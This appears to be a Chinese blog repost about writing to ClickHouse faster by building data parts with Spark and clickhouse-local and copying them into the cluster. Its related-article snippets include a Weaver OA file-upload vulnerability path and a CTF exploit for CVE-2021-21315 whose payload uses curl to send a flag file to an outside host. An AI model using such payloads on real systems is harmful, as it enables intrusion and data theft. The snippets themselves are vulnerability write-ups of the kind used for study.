Clickhouse基于文件復制寫入

背景

目前clickhouse社區對于數據的寫入主要基于文件本地表、分布式表方式為主,但缺乏大批量快速寫入場景下的數據寫入方式,本文提供了一種基于clickhouse local 客戶端工具分布式處理hdfs數據表文件,并將clickhouse以文件復制的方式完成寫入clickhouse的方法。該方案通過spark程序實現,經測試:

(1)在相同資源下,與傳統的寫clickhouse基于http/tcp的方式,可提供3倍左右的性能。

(2)傳統數據寫過程中,clickhouse-server需要處理寫入的數據,寫性能主要受clickhouse集群網絡、cpu、內存限制,無法通過擴展寫入客戶端端并發來提高寫入性能,本方案將數據處理端放在了插入客戶端,寫入性能理論上可以線性擴展提升。

方案

傳統基于http/tcp寫方案

目前clickhouse 官方推介3種數據寫入方式

  • official JDBC driver
  • ClickHouse-Native-JDBC
  • clickhouse4j

jdbc主要基于如下形式進行:

?基于jdbc寫入的基本流程是spark集群(分布式計算引擎)讀取hdfs文件,轉換為dataframe后通過調用clickhouse jdbc方式,將數據寫入至clickhouse服務端,clickhouse服務端完成本批次數據的生成。

clickhouse server端具體生成文件的流程為:

(1)ck集群分布式表接收到spark發送的寫請求后,會更加分片鍵進行數據劃分,對于數據屬于本地分片分片的數據,直接寫入本地表。對于數據屬于其他分片的數據會先寫入至臨時目錄下。

(2)對于clickhouse集群,數據的讀寫DDL都是依賴于zookeeper進行的,會將操作的日志寫入至zk的/log下,并形成相應的task

(3)當數據寫入本地表后,會將操作日志寫入zk /log中,集群其他ck節點監聽到/log變化后,會觸發相應的ck節點拉去log操作并轉換成task放入自身對應節點下的/queue中,其他節點將開始拉去該分片數據,并寫入自身本地表中,同時對于分片副本原理類似。

(4)完成本次數據的拉取復制后,將移除/queue中對應的task,完成本次數據的寫入。

從上面的流程中我們知道,數據的寫入都是先將數據寫入至分片表的本地然后復制至其他集群節點實現的,因此,clickhouse的分片表所在的機器常常負載比較大;數據的同步依賴zk進行的,zk壓力也較大。

基于文件復制寫方式

為了解決上述批量數據數據寫入場景下的問題,社區提出了一種新的思路,即使用clickhouse local將先將數據處理成clickhouse 文件,完成后直接復制至clickhouse集群,這樣大大減輕了clickhouse集群處理數據的壓力,同時數據寫入性能理論上可以與客戶端并發寫入線性增長。當前大多數公司使用clickhouse分析的數據不會在原始數據集上進行,常常是數倉加工后的明細數據,通常流程是原始數據集導入至數倉,輸出加工處理,處理后的數據導出至clickhouse用于OLAP分析。本文針對這樣的場景,提供了一種直接讀取數倉加工生成的parquet等文件,使用spark、clickhouse-local分布式處理ck文件格式,并導入至clickhouse中,具體如下圖所示:

?其中,spark集群中的spark node并不會讀寫hive表數據,而只是依賴spark分布程序將hive表所在hdfs上的文件分布式的方式下載至yarn node本地機器,然后調用本地機上的clickhouse local 命名,將不同文件格式的文件(parquet\orc\text\csv等)生成為clickhouse 文件塊,最后通過直接通過ssh命令的方式將加工處理好的cickhouse數據復制clickhouse集群,并調用clickhouse attach part命令將數據塊merge至表中,期間clickhouse表數據的所有處理動作執行端放在了spark node中進行,ck集群只負責數據的接收,大大提高了數據批量寫入性能,sparknode具體處理過程如下圖所示:

?

性能測試

經測試,在相同spark資源情況下,基于文件復制寫入clickhouse的方式比jdbc方式寫入性能有2~3倍的性能提升,且理論上文件復制方式寫入可以伴隨spark node增加而線性增長,在parquet格式的數據表上,不同寫入方式下clickhouse完成時間對比結果如下圖所示:

image.png

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/39045.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/39045.shtml
英文地址,請注明出處:http://en.pswp.cn/news/39045.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

解決并發沖突:Java實現MySQL數據鎖定策略

在并發環境下,多個線程同時對MySQL數據庫進行讀寫操作可能會導致數據沖突和不一致的問題。為了解決這些并發沖突,我們可以采用數據鎖定策略來保證數據的一致性和完整性。下面將介紹如何使用Java實現MySQL數據鎖定策略,以及相關的注意事項和最…

開源低代碼平臺Openblocks

網友 HankMeng 想看低代碼工具,正好手上有一個; 什么是 Openblocks ? Openblocks 是一個開發人員友好的開源低代碼平臺,可在幾分鐘內構建內部應用程序。 傳統上,構建內部應用程序需要復雜的前端和后端交互,…

如何保證微信小游戲存檔不丟失?

引言 微信小游戲的興起為玩家提供了一個輕松便捷的娛樂方式,然而,存檔丟失問題一直以來都是開發者和玩家關注的焦點。為了確保玩家的游戲體驗和投入能夠得到充分的保障,開發團隊需要采取一系列方法來保障微信小游戲存檔不丟失。本文將介紹一…

學習筆記十五:基于YUM文件運行POD應用

基于YUM文件運行POD應用 通過資源清單文件創建第一個Pod更新資源清單文件查看pod是否創建成功查看pod的ip和pod調度到哪個節點上假如pod里有多個容器,進入到pod里的指定容器查看pod詳細信息查看pod具有哪些標簽:刪除pod通過kubectl run創建Pod Pod資源清…

word之插入尾注+快速回到剛才編輯的地方

1-插入尾注 在編輯文檔時,經常需要對一段話插入一段描述或者附件鏈接等,使用腳注經常因占用篇幅較大導致文檔頁面內容雜亂,這事可以使用快捷鍵 ControlaltD 即可在 整個行文的末尾插入尾注,這樣文章整體干凈整潔,需…

【枚舉邊+MST+組合計數】CF1857G

Problem - 1857G - Codeforces 題意: 思路: 首先觀察一下樣例: 可以發現對于每一對點,貢獻是 s - 這對點對應的環的最大邊 1 那么這樣就有了 n^2 的做法 然后,根據慣用套路,枚舉樹上的點對問題可以轉…

Prometheus的搭建與使用

一、安裝Prometheus 官網下載地址:Download | Prometheus 解壓:tar -zxvf prometheus-2.19.2.linux-amd64.tar.gz重命名: mv prometheus-2.19.2.linux-amd64 /home/prometheus進入對應目錄: cd /home/prometheus查看配置文件&am…

淺析市面電商CRM系統|排單系統存在的不足

筆者做CRM尤其是電商CRM系統7年,相信我的分享能夠幫助大家對電商CRM有個清晰的認知。 系統本身是用來提升效率的,針對不少電商賣家或服務商,都有使用CRM系統來管理粉絲鏈接與營銷、銷售推廣等環節,來實現完整的CRM鏈路。尤其是在當…

OpenCV-Python中的圖像處理-傅里葉變換

OpenCV-Python中的圖像處理-傅里葉變換 傅里葉變換Numpy中的傅里葉變換Numpy中的傅里葉逆變換OpenCV中的傅里葉變換OpenCV中的傅里葉逆變換 DFT的性能優化不同濾波算子傅里葉變換對比 傅里葉變換 傅里葉變換經常被用來分析不同濾波器的頻率特性。我們可以使用 2D 離散傅里葉變…

2308C++對稱轉移

原文 了解對稱轉移 協程組提供了個編寫異步代碼的絕妙方法,與同步代碼一樣.只需要在合適地點加上協待,編譯器就會負責掛起協程,跨掛起點保留狀態,并在操作完成后恢復協程. 但是,最初有個令人討厭的限制,如果不小心,很容易導致棧溢出.如果想避免它,則必須引入額外同步成本,以…

Unity Spine幀事件

SpinePro中添加事件幀 首先 選中右上角的層級樹 然后選擇事件選項 最后在右下角看到 新建 點擊它 新建一個事件 點擊左上角的設置按鈕 彈出編輯窗口 編輯窗口 在右上角 動畫欄 可以切換對應的動畫 點坐邊的那個小灰點來切換 亮點代表當前動畫 選中幀 添加事件 點擊對應事件…

突破防線!泛微OA任意文件上傳Getshell

子曰:“巧言令色,鮮矣仁。” 漏洞復現 訪問漏洞url: 存在漏洞的路徑為 /weaver/weaver.common.Ctrl/.css?arg0com.cloudstore.api.service.Service_CheckApp&arg1validateApp漏洞利用: 漏洞證明: 文筆生疏&…

ubuntu 20.0.4 搭建nvidia 顯卡環境

一、安裝docker 1、安裝dokcer sudo apt install docker.io2、docker 添加到用戶組 創建docker用戶組 sudo groupadd docker添加當前用戶加入docker用戶組 sudo usermod -aG docker ${USER}重啟docker服務 sudo systemctl restart docker切換或者退出當前賬戶再從新登入 …

openGauss學習筆記-41 openGauss 高級數據管理-匿名塊

文章目錄 openGauss學習筆記-41 openGauss 高級數據管理-匿名塊41.1 語法41.2 參數說明41.3 示例 openGauss學習筆記-41 openGauss 高級數據管理-匿名塊 匿名塊(Anonymous Block)是存儲過程的字塊之一,沒有名稱。一般用于不頻繁執行的腳本或…

NPM與外部服務的集成(下)

目錄 1、撤消訪問令牌 2、在CI/CD工作流中使用私有包 2.1 創建新的訪問令牌 持續整合 持續部署 交互式工作流 CIDR白名單 2.2 將令牌設置為CI/CD服務器上的環境變量 2.3 創建并簽入特定于項目的.npmrc文件 2.4 令牌安全 3、Docker和私有模塊 3.1 背景:運…

了解異或的好處和用途

1.什么是異或? 異或:對于二進制,相同為0 不同為11 ⊕ 1 00 ⊕ 0 01 ⊕ 0 10 ⊕ 1 1 2.異或的好處? 異或的好處?1.快速比較兩個值 2.xor a a例如 a 3 011xor 0110003.可以使用 異或 來使某些特定的位翻轉【原因…

移遠RM500U-CN模塊直連嵌入式ubuntu實現撥號上網

目錄 1 平臺: 2 需要準備的資料 3 參考文檔 4 編譯環境與驅動移植 4.1 內核驅動添加廠家ID和產品ID 4. 2.添加零包處理 4.3 增加復位恢復機制 4.4 增加批量輸出 批量輸出 URB 的數量和容量 的數量和容量 4.5 內核配置與編譯 5 QM500U-CN撥號(在開…

Ubuntu和centos版本有哪些區別

Ubuntu和CentOS是兩個非常流行的Linux發行版,它們在一些方面有一些區別,如下所示: CentOS的版本發布周期相對較長,主要是因為它是基于RedHatEnterpriseLinux(RHEL)的。這意味著在RHEL發布后才能推出對應的CentOS版本。而Ubuntu則在…

春秋云鏡 CVE-2021-21315

春秋云鏡 CVE-2021-21315 systeminformation存在命令注入 靶標介紹 systeminformation是一個簡單的查詢系統和OS信息包。 啟動場景 漏洞利用 exp /api/osinfo?param[]$(curl%20-d%20/flag%20xxx.ceye.io)登錄ceye.io平臺,curl請求 http://eci-2zed871sr7xrdjb…

Lombok的使用及注解含義

文章目錄 一、簡介二、如何使用2.1、在IDEA中安裝Lombok插件2.2、添加maven依賴 三、常用注解3.1、Getter / Setter3.2、ToString3.3、NoArgsConstructor / AllArgsConstructor3.4、EqualsAndHashCode3.5、Data3.6、Value3.7、Accessors3.7.1、Accessors(chain true)3.7.2、Ac…